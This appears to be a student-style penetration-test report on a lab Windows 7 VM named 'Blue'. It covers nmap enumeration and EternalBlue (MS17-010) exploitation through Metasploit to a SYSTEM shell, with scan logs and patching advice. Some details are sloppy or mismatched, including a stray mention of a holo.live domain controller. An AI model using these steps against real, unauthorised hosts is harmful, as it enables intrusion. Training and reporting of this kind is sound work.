


INTRO

AGS solutions has been authorized by TCM to conduct an CPT on a VM they called "Blue". AGS solutions CPT is to verify if compromise is possible by any means. This documentation is a report of my entire engagement including findings, exploitation, and remediation and recommendations for such targets provided by HTB.

By: Robert Garcia

Jr Penetration Tester

Test Report



AGSOLUTIONSADP

Cyber at your service

09/28/2022

DISCLAIMER

TCM acknowledges and accepts the following assumptions and limitations of liability as necessary to this type of engagement:

AGS solutions may use commercial and or common, readily available tools to perform the penetration test.

TCM understands that the AGS solutions will be engaged in mirror real world hacking activities and, such , may impede system performance, crash production systems and permit unapproved access.

TCM understands that the actions of AGS solutions may involve risks which are not known to the parties at this time and that may not be foreseen or reasonably foreseeable at this time.

Only Authorized Personnel should be looking at these documentation and any body outside of the SOW or ROE should have been added to view these documents by the appropriate parties in the ROE.

All parties that are authorized to view this documentation agree not to discuss it outside of work or with other parties other than internal entities that support and manage the target.

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CREDENTIALS TO PENETRATION TESTER

Robert J Garcia is the professional Penetration Tester that will be handling the Engagement.

Robert has 3 years of Pen Testing with platforms like HTB and THM.

Robert is deep into the art of network pen testing and has a good understanding of IR and Malware analysis.

Fun fact about Robert when he is not Pentesting he is being black hat at night self studying for Red Team operations and improving his TTP.

Certifications held by Robert Garcia



Expires 2025

SCOPE

AGS solutions has been given permission to do the following:

Main Goal: Attempt to take over VM by any means and then obtain the highest privilege possible

Related Task that could be required to complete for completion of Main goal:

- The ability to identify and retrieve proprietary or confidential information.
- The ability to gain unauthorized access to a system or device.
- Internal and external network and system enumeration
- Internal and external vulnerability scanning
- Information gathering and reconnaissance
- Simulate exfiltration of data
- Simulate or actually download hacking tools from approved external websites
- Attempt to obtain user and/or administrator credentials
- Attempt to subvert operating system security controls
- Attempt to install or alter software on target systems
- Attempt unauthorized access of resources to which the team should not have access

EXECUTIVE SUMMARY

I was tasked with performing a penetration test towards the VM called Blue.

A penetration test is a dedicated attack against internally or externally connected systems.

This test focuses on performing attacks similar to those of a hacker and attempting to infiltrate each Node machine and owning it.

My objective was to comprise the domain controller for holo.live.

When performing the penetration test, several alarming vulnerabilities were identified on the network.

When performing the attacks, I was able to gain access to the VM Blue, primarily due to an unpatched OS and an OS that is pass there EOL, this led to the compromise of the VM Blue. During the testing, I had administrative-level access 'NT Authority\system'. Blue was successfully exploited, and access granted. The system as well as a brief description on how access was obtained are listed below:

Summary of Exploits found

<i>IP Address</i>	<i>Domain Name</i>	<i>Exploit</i>
192.168.8.169	(BLUE)	Eternal Blue MS17-010

RECOMMENDATIONS

BLUE (192.168.8.169)

We encounter an OS that was not patched, we also want to mention the OS EOL was in 2020. Due to the age of the OS, there know CVE's that are public. This is how we got to own the system with a know public exploit

FIX

- patch the Windows system with Microsoft designated patch for your OS type.
- harding services like SMB with CC.
- create a policy based on best security practices for services that live in your network.

All our recommendations are formulated from NIST and MITRE Att&ack institutions and there knowledge on best practice for such vulnerability's that we found on target during these engagement.


MYTHOLOGY

Mythology Followed: CompTIA Pen+200

We are going to validate, verify and perform OSINT and other enumeration techniques that will paint a picture of our target's landscape and provide us a look at where there could be a manner of exploitation and intrusion. We will exploit our finding and then establish some persistence and in turn start the process over for the mythology we are following.

Our goal after compromise is to gather information about our user, the network the user is on and then attempt to move vertically or laterally based on the information we gather to the highest privileges' account in our case is the Domain controller Admin.

Once we get to these points we will stop and conclude our Assessment, advise the appropriate parties and start the process of making the report.



FINDING'S & REMEDIATION BLUE (192.168.8.169)

FINDING

SYSTEM IP: 192.168.8.169
Service Enumeration: TCP:135,139,445,5357,49152,49153,49154,49155,49156,49157

Nmap Scan Results: (Find entire scans in appendix)

```
PORT      STATE SERVICE      REASON      VERSION
135/tcp    open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
139/tcp    open  netbios-ssn  syn-ack ttl 128 Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds syn-ack ttl 128 Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
5357/tcp   open  http         syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp  open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49153/tcp  open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49154/tcp  open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49155/tcp  open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49156/tcp  open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49157/tcp  open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
MAC Address: 00:0C:29:9C:BF:70 (VMware)
Service Info: Host: WIN-845Q99004PP; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Vulnerability Explanation:

Multiple remote code execution vulnerabilities exist in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain requests. An unauthenticated, remote attacker can exploit these vulnerabilities, via a specially crafted packet, to execute arbitrary code. There are other CVE that are classified under this exploit as well. (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0148). All in all this is also provided us with being the highest level account on a windows system similar to root on a Linux system, 'NT Authority\System.'

Vulnerability Fix:

Refer to Microsoft Security Bulletin [MS17-010](#) for the patch corresponding to your Operating System

Severity or Criticality:

CRITICAL 10/10

Exploit Code:

<https://www.exploit-db.com/exploits/41891>

Proof of Concept Here:

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
=====

  Id  Name  Type           Information                                     Connection
  --  ----  ---
  1    meterpreterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN-845Q99004PP 192.168.8.153:4444 -> 192.168.8.169:49162 (192.168.8.169)

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 2876 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>hostname
hostname
WIN-845Q99004PP

C:\Windows\system32>
```

```
C:\Users\Administrator\Desktop>whoami
whoami
nt authority\system

C:\Users\Administrator\Desktop>hostname
hostname
WIN-845Q99004PP

C:\Users\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix  . : localdomain
    Link-local IPv6 Address . . . . . : fe80::ad12:8302:52ce:6be2%11
    IPv4 Address. . . . . : 192.168.8.169
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.8.2

Tunnel adapter isatap.localdomain:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : localdomain
```

Overall Risk Severity	Likelihood Factor	Impact Factor	Score Vector:
Critical	High	High	CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H


ENTIRE KILL CHAIN

OSINT

We do not get much information about the VM. We received a download link and that link basically turned out to be an .ova file. We imported the ova to our VMware 16workstationPro and ran it with NAT connection. I needed to ID the target IP and started with a tool called 'fping' and then 'netdiscover'.

```
fping -asgq 192.168.8.0/24
```

Screenshot:



From here I can see that .153 is my IP. That leaves .169 and .2.

```
sudo netdiscover -i eth0 -p
```

Currently scanning: (passive) Screen View: Unique Hosts				
25 Captured ARP Req/Rep packets, from 3 hosts. Total size: 1500				
IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.8.2	00:50:56:f0:dd:4d	5	300	VMware, Inc.
192.168.8.169	00:0c:29:9c:bf:70	3	180	VMware, Inc.
192.168.8.1	00:50:56:c0:00:08	17	1020	VMware, Inc.


Looks like .169 is going to be our target.

DISCOVERY

We use 'Nmap' to scan our target and to provide us some info on what the VM might be running.

```
sudo nmap -vv --reason -T4 -Pn -sC -sV --open -p- -oA full $TargetIP --min-rate 5000
```


Screenshot: (Find entire scans in appendix)



We see this might be a win 7 system. There plenty of MSRPC protocols at work and SMB as well including an HTTP port.

```
nmap -Pn -p- --script safe,discovery,vuln,exploit -T4 -vv --reason --script=vuln -oA vuln 192.168.8.169
```

Screenshot: (Find entire scans in appendix)



We see there is an vulnerability found. We need to see if this is a true positive. #CVE-2017-0143

INITIAL FOOT HOLD

I want to validate if this is a 64x OS so we use 'crackmapexec' for just that.

```
crackmapexec smb 192.168.8.169
```

Screenshot:



We know there is an issue with Win7. We found an exploit in Metasploit that gave us direct access to our target.


Type of OS:

Type of OS: Microsoft Windows 7 Ultimate


OS Version:6.1.7601 Service Pack 1 Build 7601

Location: windows/smb/ms17_010_eternalblue

MSF options:



We set up a listener on port 4444 and set our LHOST and RHOSTS and fire off our exploit.



BLUE (192.168.8.169)

Our exploit gave us the highest privilege's account on windows 'NT Authority\System'

Proof of access

```
C:\Users\Administrator\Desktop>whoami
whoami
nt authority\system

C:\Users\Administrator\Desktop>hostname
hostname
WIN-845Q99004PP

C:\Users\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix  . : localdomain
    Link-local IPv6 Address . . . . . : fe80::ad12:8302:52ce:6be2%11
    IPv4 Address. . . . . : 192.168.8.169
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.8.2

Tunnel adapter isatap.localdomain:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : localdomain
```

REMOVAL OF TOOLS

1. During our engagement we kept most of our script and binary's in a folder of our control called DB_Folder and when done on target we would delete the folder. Directories that were used for the engagement are listed below :
2. C:\Windows\System32\spool\drivers\color\
3. C:\Windows\Temp
4. C:\Windows\Administrator\Downloads
5. C:\Users\Public\
6. C:\Users\username\Downloads
7. C:\Windows\Tasks\
8. Actions such as password reset and plain text discoveries we advised to change and or update the password to something else
9. All shells that were open or created during the engagement have been terminated
10. All artifacts have been deleted that related to the engagement and VM used for engagement has been deleted as well

REFERENCES

Main Reference and resources pulled from:

1. <https://nvd.nist.gov/vuln>
2. <https://cve.mitre.org/>
3. <https://attack.mitre.org/tactics/enterprise/>
4. <https://www.exploit-db.com/>
5. <https://capec.mitre.org/>

(BLUE) EXPLOIT AND MITIGATION REFERENCES

Exploit

- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143>
- <https://www.jamescarroll.me/blog/exploiting-ms17-010-with-metasploit-2020>
- <https://msrc-blog.microsoft.com/2017/05/12/customer-guidance-for-wannacrypt-attacks/>
- <https://www.avast.com/c-eternalblue>

Mitigation

- <https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2017/ms17-010>
- <https://attack.mitre.org/techniques/T1210/>
- <https://catalog.update.microsoft.com/search.aspx?q=3212646>
- https://success.trendmicro.com/dcx/s/solution/1121399-ms17-010-smb-remote-code-execution-exploit-appears-on-the-suspicious-connection-logs?language=en_US&sfdclFrameOrigin=null

APPENDIX

Password and username found or created during engagement

<i>Username</i>	<i>Password</i>	<i>Note</i>
N/A	N/A	N/A

LOOT

This portion of the Reports contain scans and output that might be needed to viewed again or validated.

NMAP FULL SCAN

```
sudo nmap -vv --reason -T4 -Pn -sC -sV --open -p- -oA full 192.168.8.169 --min-rate 5000
[sudo] password for kali:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-28 22:10 EDT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:10
Completed NSE at 22:10, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:10
Completed NSE at 22:10, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:10
Completed NSE at 22:10, 0.00s elapsed
Initiating ARP Ping Scan at 22:10
Scanning 192.168.8.169 [1 port]
Completed ARP Ping Scan at 22:10, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:10
Completed Parallel DNS resolution of 1 host. at 22:10, 0.00s elapsed
Initiating SYN Stealth Scan at 22:10
Scanning 192.168.8.169 [65535 ports]
Discovered open port 445/tcp on 192.168.8.169
Discovered open port 135/tcp on 192.168.8.169
Discovered open port 139/tcp on 192.168.8.169
Discovered open port 49157/tcp on 192.168.8.169
Discovered open port 49154/tcp on 192.168.8.169
Discovered open port 49153/tcp on 192.168.8.169
Discovered open port 49152/tcp on 192.168.8.169
Discovered open port 49156/tcp on 192.168.8.169
Discovered open port 5357/tcp on 192.168.8.169
Discovered open port 49155/tcp on 192.168.8.169
Completed SYN Stealth Scan at 22:11, 12.57s elapsed (65535 total ports)
Initiating Service scan at 22:11
Scanning 10 services on 192.168.8.169
Service scan Timing: About 50.00% done; ETC: 22:12 (0:00:54 remaining)
Completed Service scan at 22:12, 58.58s elapsed (10 services on 1 host)
NSE: Script scanning 192.168.8.169.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:12
Completed NSE at 22:12, 5.10s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:12
Completed NSE at 22:12, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:12
Completed NSE at 22:12, 0.00s elapsed
Nmap scan report for 192.168.8.169
Host is up, received arp-response (0.00039s latency).
```

Scanned at 2022-09-28 22:10:51 EDT for 76s
Not shown: 62453 closed tcp ports (reset), 3072 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

PORT	STATE	SERVICE	REASON	VERSION
135/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC
139/tcp	open	netbios-ssn	syn-ack ttl 128	Microsoft Windows netbios-ssn
445/tcp	open	microsoft-ds	syn-ack ttl 128	Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
5357/tcp	open	http	syn-ack ttl 128	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) _http-title: Service Unavailable _http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC
49153/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC
49154/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC
49155/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC
49156/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC
49157/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC
MAC Address: 00:0C:29:9C:BF:70 (VMware)				
Service Info: Host: WIN-845Q99004PP; OS: Windows; CPE: cpe:/o:microsoft:windows				

Host script results:

| nbstat: NetBIOS name: WIN-845Q99004PP, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:9c:bf:70 (VMware)

| Names:

| WIN-845Q99004PP<00> Flags: <unique><active>

| WORKGROUP<00> Flags: <group><active>

| WIN-845Q99004PP<20> Flags: <unique><active>

| WORKGROUP<1e> Flags: <group><active>

| WORKGROUP<1d> Flags: <unique><active>

| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>

| Statistics:

| 00 0c 29 9c bf 70 00 00 00 00 00 00 00 00 00 00

| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

| smb2-security-mode:

| 2.1:

|_ Message signing enabled but not required

| smb-os-discovery:

| OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)

| OS CPE: cpe:/o:microsoft:windows_7::sp1

| Computer name: WIN-845Q99004PP

| NetBIOS computer name: WIN-845Q99004PP\x00

| Workgroup: WORKGROUP\x00

|_ System time: 2022-09-28T22:12:02-04:00

| smb2-time:

| date: 2022-09-29T02:12:02

|_ start_date: 2022-09-29T01:52:55

|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s

| p2p-conficker:

| Checking for Conficker.C or higher...

| Check 1 (port 44624/tcp): CLEAN (Couldn't connect)

| Check 2 (port 7448/tcp): CLEAN (Couldn't connect)

| Check 3 (port 25248/udp): CLEAN (Timeout)

| Check 4 (port 35812/udp): CLEAN (Failed to receive data)

|_ 0/4 checks are positive: Host is CLEAN or ports are blocked

| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

NSE: Script Post-scanning.

NSE: Starting runlevel 1 (of 3) scan.

Initiating NSE at 22:12

Completed NSE at 22:12, 0.00s elapsed

NSE: Starting runlevel 2 (of 3) scan.

Initiating NSE at 22:12

Completed NSE at 22:12, 0.00s elapsed

NSE: Starting runlevel 3 (of 3) scan.

Initiating NSE at 22:12

Completed NSE at 22:12, 0.00s elapsed

Read data files from: /usr/bin/./share/nmap

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 76.80 seconds

Raw packets sent: 93874 (4.130MB) | Rcvd: 62465 (2.499MB)

zsh: segmentation fault sudo nmap -vv --reason -T4 -Pn -sC -sV --open -p- -oA full

192.168.8.169 500

NMAP VUL SCAN

```
nmap -Pn -p- --script safe,discovery,vuln,exploit -T4 -vv --reason --script=vuln -oA vuln 192.168.8.169
```

Nmap 7.92 scan initiated Wed Sep 28 22:18:42 2022 as: nmap -Pn -p- --script safe,discovery,vuln,exploit -T4 -vv --reason --script=vuln -oA vuln 192.168.8.169

Pre-scan script results:

```
|_http-robtex-shared-ns: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
| broadcast-netbios-master-browser:
|_ip server domain
| broadcast-wsdd-discover:
|   Devices
|     239.255.255.250
|       Message id: 39a418f4-71a0-4801-99a2-43317453ab4a
|       Address: http://192.168.8.1:5357/a12ace66-c55b-467c-99b0-219473bdb4d5/
|       Type: Device pub:Computer
|     239.255.255.250
|       Message id: 6b0bc165-f95c-44f2-bc78-7db23b4ab2b0
|       Address: http://192.168.8.169:5357/3ab482c8-922a-4629-b8db-b9812b6653e3/
|_       Type: Device pub:Computer
| broadcast-dns-service-discovery:
|   224.0.0.251
|     2020/tcp teamviewer
|_     Address=192.168.8.1
| targets-asn:
|_ targets-asn.asn is a mandatory parameter
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|     After NULL UDP avahi packet DoS (CVE-2011-1002).
|_   Hosts are all up (not vulnerable).
|_hostmap-robtex: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
```

Nmap scan report for 192.168.8.169

Host is up, received user-set (0.00016s latency).

Scanned at 2022-09-28 22:19:23 EDT for 240s

Not shown: 65525 closed tcp ports (conn-refused)

PORT	STATE	SERVICE	REASON
135/tcp	open	msrpc	syn-ack
139/tcp	open	netbios-ssn	syn-ack
445/tcp	open	microsoft-ds	syn-ack
5357/tcp	open	wsdapi	syn-ack
49152/tcp	open	unknown	syn-ack
49153/tcp	open	unknown	syn-ack
49154/tcp	open	unknown	syn-ack
49155/tcp	open	unknown	syn-ack
49156/tcp	open	unknown	syn-ack
49157/tcp	open	unknown	syn-ack

Host script results:

```
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 44624/tcp): CLEAN (Couldn't connect)
```

```
| Check 2 (port 7448/tcp): CLEAN (Couldn't connect)
| Check 3 (port 25248/udp): CLEAN (Failed to receive data)
| Check 4 (port 35812/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-enum-shares:
|   account_used: guest
|   \\192.168.8.169\ADMIN$:
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Remote Admin
|     Anonymous access: <none>
|     Current user access: <none>
|   \\192.168.8.169\C$:
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Anonymous access: <none>
|     Current user access: <none>
|   \\192.168.8.169\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: Remote IPC
|     Anonymous access: READ
|_   Current user access: READ/WRITE
|_dns-brute: Can't guess domain of "192.168.8.169"; use dns-brute.domain script argument.
| port-states:
|   tcp:
|     open: 135,139,445,5357,49152-49157
|_   closed: 1-134,136-138,140-444,446-5356,5358-49151,49158-65535
| smb2-time:
|   date: 2022-09-29T02:21:44
|_  start_date: 2022-09-29T01:52:55
| unusual-port:
|_ WARNING: this script depends on Nmap's service/version detection (-sV)
| nbstat: NetBIOS name: WIN-845Q99004PP, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:9c:bf:70
(VMware)
| Names:
|   WIN-845Q99004PP<00>   Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WIN-845Q99004PP<20>   Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>   Flags: <group><active>
| Statistics:
|   00 0c 29 9c bf 70 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| msrpc-enum:
|
|   tcp_port: 49152
|   uuid: d95afe70-a6d5-4259-822e-2c84da1ddb0d
|   ip_addr: 0.0.0.0
|
|   ncalrpc: LRPC-4e1f66d92b77898081
|   uuid: 8174bb16-571b-4c38-8386-1102b449044a
|
|   ncalrpc: LRPC-4e1f66d92b77898081
|   uuid: a2d47257-12f7-4beb-8981-0ebfa935c407
|
|   ncalrpc: LRPC-4e1f66d92b77898081
|   uuid: 3f31c91e-2545-4b7b-9311-9529e8bfffef6
|
```

ncalrpc: LRPC-85cc02624f34401d05
exe: ssdpsrv ssdpsrv interface (SSDP service)
uuid: 4b112204-0e19-11d3-b42b-0000f81feb9f

netbios: \\WIN-845Q99004PP
exe: lsass.exe samr interface
uuid: 12345778-1234-abcd-ef00-0123456789ac
ncacn_np: \pipe\lsass

ncalrpc: LRPC-cb4ccbe982f4ed1da5
exe: lsass.exe samr interface
uuid: 12345778-1234-abcd-ef00-0123456789ac

ncalrpc: audit
exe: lsass.exe samr interface
uuid: 12345778-1234-abcd-ef00-0123456789ac

ncalrpc: securityevent
exe: lsass.exe samr interface
uuid: 12345778-1234-abcd-ef00-0123456789ac

ncalrpc: LSARPC_ENDPOINT
exe: lsass.exe samr interface
uuid: 12345778-1234-abcd-ef00-0123456789ac

ncalrpc: lsapolicylookup
exe: lsass.exe samr interface
uuid: 12345778-1234-abcd-ef00-0123456789ac

ncalrpc: lsasspirpc
exe: lsass.exe samr interface
uuid: 12345778-1234-abcd-ef00-0123456789ac

ncalrpc: protected_storage
exe: lsass.exe samr interface
uuid: 12345778-1234-abcd-ef00-0123456789ac

netbios: \\WIN-845Q99004PP
exe: lsass.exe samr interface
uuid: 12345778-1234-abcd-ef00-0123456789ac
ncacn_np: \PIPE\protected_storage

ncalrpc: samss lpc
exe: lsass.exe samr interface
uuid: 12345778-1234-abcd-ef00-0123456789ac

tcp_port: 49157
exe: lsass.exe samr interface
uuid: 12345778-1234-abcd-ef00-0123456789ac
ip_addr: 0.0.0.0

tcp_port: 49156
uuid: 6b5bdd1e-528c-422c-af8c-a4079be4fe48
ip_addr: 0.0.0.0
annotation: Remote Fw APIs

tcp_port: 49156
uuid: 12345678-1234-abcd-ef00-0123456789ab
ip_addr: 0.0.0.0

```
| annotation: IPSec Policy agent endpoint
|
| ncalrpc: LRPC-9925922dfc0350051a
| uuid: 12345678-1234-abcd-ef00-0123456789ab
| annotation: IPSec Policy agent endpoint
|
| tcp_port: 49155
| uuid: 367abb81-9844-35f1-ad32-98f038001003
| ip_addr: 0.0.0.0
|
| ncalrpc: OLE8A4ECA8C50A94582842160A9878A
| uuid: 0767a036-0d22-48aa-ba69-b619480f38cb
| annotation: PcaSvc
|
| ncalrpc: LRPC-de49b76f7e38a961f9
| uuid: 0767a036-0d22-48aa-ba69-b619480f38cb
| annotation: PcaSvc
|
| ncalrpc: OLE8A4ECA8C50A94582842160A9878A
| uuid: b58aa02e-2884-4e97-8176-4ee06d794184
|
| ncalrpc: LRPC-de49b76f7e38a961f9
| uuid: b58aa02e-2884-4e97-8176-4ee06d794184
|
| netbios: \\WIN-845Q99004PP
| uuid: b58aa02e-2884-4e97-8176-4ee06d794184
| ncacn_np: \pipe\trkwks
|
| ncalrpc: trkwks
| uuid: b58aa02e-2884-4e97-8176-4ee06d794184
|
| ncalrpc: LRPC-abf1c30ab03623f745
| uuid: dd490425-5325-4565-b774-7e27d6c09c24
| annotation: Base Firewall Engine API
|
| ncalrpc: LRPC-abf1c30ab03623f745
| uuid: 7f9d11bf-7fb9-436b-a812-b2d50c5d4c03
| annotation: Fw APIs
|
| ncalrpc: LRPC-abf1c30ab03623f745
| uuid: 2fb92682-6599-42dc-ae13-bd2ca89bd11c
| annotation: Fw APIs
|
| ncalrpc: spoolss
| uuid: 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1
| annotation: Spooler function endpoint
|
| ncalrpc: spoolss
| uuid: ae33069b-a2a8-46ee-a235-ddfd339be281
| annotation: Spooler base remote object endpoint
|
| ncalrpc: spoolss
| uuid: 4a452661-8290-4b36-8fbe-7f4093a94978
| annotation: Spooler function endpoint
|
| ncalrpc: OLE45C40DFD160D437495EDE31F8356
| uuid: 7ea70bcf-48af-4f6a-8968-6a440754d5fa
| annotation: NSI server endpoint
|
```


ncalrpc: LRPC-4863e4f58f2814df36
uuid: 7ea70bcf-48af-4f6a-8968-6a440754d5fa
annotation: NSI server endpoint

ncalrpc: OLE45C40DFD160D437495EDE31F8356
uuid: 3473dd4d-2e88-4006-9cba-22570909dd10
annotation: WinHttp Auto-Proxy Service

ncalrpc: LRPC-4863e4f58f2814df36
uuid: 3473dd4d-2e88-4006-9cba-22570909dd10
annotation: WinHttp Auto-Proxy Service

ncalrpc: IUserProfile2
uuid: c9ac6db5-82b7-4e55-ae8a-e464ed7b4277
annotation: Impl friendly name

ncalrpc: IUserProfile2
uuid: c9ac6db5-82b7-4e55-ae8a-e464ed7b4277
annotation: Impl friendly name

ncalrpc: OLE6748BFBC3DCD44F885647BF58DE6
uuid: c9ac6db5-82b7-4e55-ae8a-e464ed7b4277
annotation: Impl friendly name

ncalrpc: IUserProfile2
uuid: 2eb08e3e-639f-4fba-97b1-14f878961076

ncalrpc: OLE6748BFBC3DCD44F885647BF58DE6
uuid: 2eb08e3e-639f-4fba-97b1-14f878961076

ncalrpc: IUserProfile2
uuid: c9ac6db5-82b7-4e55-ae8a-e464ed7b4277
annotation: Impl friendly name

ncalrpc: OLE6748BFBC3DCD44F885647BF58DE6
uuid: c9ac6db5-82b7-4e55-ae8a-e464ed7b4277
annotation: Impl friendly name

ncalrpc: senssvc
uuid: c9ac6db5-82b7-4e55-ae8a-e464ed7b4277
annotation: Impl friendly name

ncalrpc: IUserProfile2
uuid: 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53

ncalrpc: OLE6748BFBC3DCD44F885647BF58DE6
uuid: 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53

ncalrpc: senssvc
uuid: 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53

ncalrpc: IUserProfile2
exe: mstask.exe atsvc interface (Scheduler service)
uuid: 1ff70682-0a51-30e8-076d-740be8cee98b

ncalrpc: OLE6748BFBC3DCD44F885647BF58DE6
exe: mstask.exe atsvc interface (Scheduler service)
uuid: 1ff70682-0a51-30e8-076d-740be8cee98b

```
| ncalrpc: senssvc
| exe: mstask.exe atsvc interface (Scheduler service)
| uuid: 1ff70682-0a51-30e8-076d-740be8cee98b
|
| netbios: \\WIN-845Q99004PP
| exe: mstask.exe atsvc interface (Scheduler service)
| uuid: 1ff70682-0a51-30e8-076d-740be8cee98b
| ncacn_np: \PIPE\atsvc
|
| ncalrpc: IUserProfile2
| uuid: 378e52b0-c0a9-11cf-822d-00aa0051e40f
|
| ncalrpc: OLE6748BFBC3DCD44F885647BF58DE6
| uuid: 378e52b0-c0a9-11cf-822d-00aa0051e40f
|
| ncalrpc: senssvc
| uuid: 378e52b0-c0a9-11cf-822d-00aa0051e40f
|
| netbios: \\WIN-845Q99004PP
| uuid: 378e52b0-c0a9-11cf-822d-00aa0051e40f
| ncacn_np: \PIPE\atsvc
|
| ncalrpc: IUserProfile2
| uuid: 86d35949-83c9-4044-b424-db363231fd0c
|
| ncalrpc: OLE6748BFBC3DCD44F885647BF58DE6
| uuid: 86d35949-83c9-4044-b424-db363231fd0c
|
| ncalrpc: senssvc
| uuid: 86d35949-83c9-4044-b424-db363231fd0c
|
| netbios: \\WIN-845Q99004PP
| uuid: 86d35949-83c9-4044-b424-db363231fd0c
| ncacn_np: \PIPE\atsvc
|
| tcp_port: 49154
| uuid: 86d35949-83c9-4044-b424-db363231fd0c
| ip_addr: 0.0.0.0
|
| ncalrpc: IUserProfile2
| uuid: 552d076a-cb29-4e44-8b6a-d15e59e2c0af
| annotation: IP Transition Configuration endpoint
|
| ncalrpc: OLE6748BFBC3DCD44F885647BF58DE6
| uuid: 552d076a-cb29-4e44-8b6a-d15e59e2c0af
| annotation: IP Transition Configuration endpoint
|
| ncalrpc: senssvc
| uuid: 552d076a-cb29-4e44-8b6a-d15e59e2c0af
| annotation: IP Transition Configuration endpoint
|
| netbios: \\WIN-845Q99004PP
| uuid: 552d076a-cb29-4e44-8b6a-d15e59e2c0af
| ncacn_np: \PIPE\atsvc
| annotation: IP Transition Configuration endpoint
|
| tcp_port: 49154
| uuid: 552d076a-cb29-4e44-8b6a-d15e59e2c0af
| ip_addr: 0.0.0.0
```

annotation: IP Transition Configuration endpoint

ncalrpc: IUserProfile2

uuid: a398e520-d59a-4bdd-aa7a-3c1e0303a511

annotation: IKE/Authip API

ncalrpc: OLE6748BFBC3DCD44F885647BF58DE6

uuid: a398e520-d59a-4bdd-aa7a-3c1e0303a511

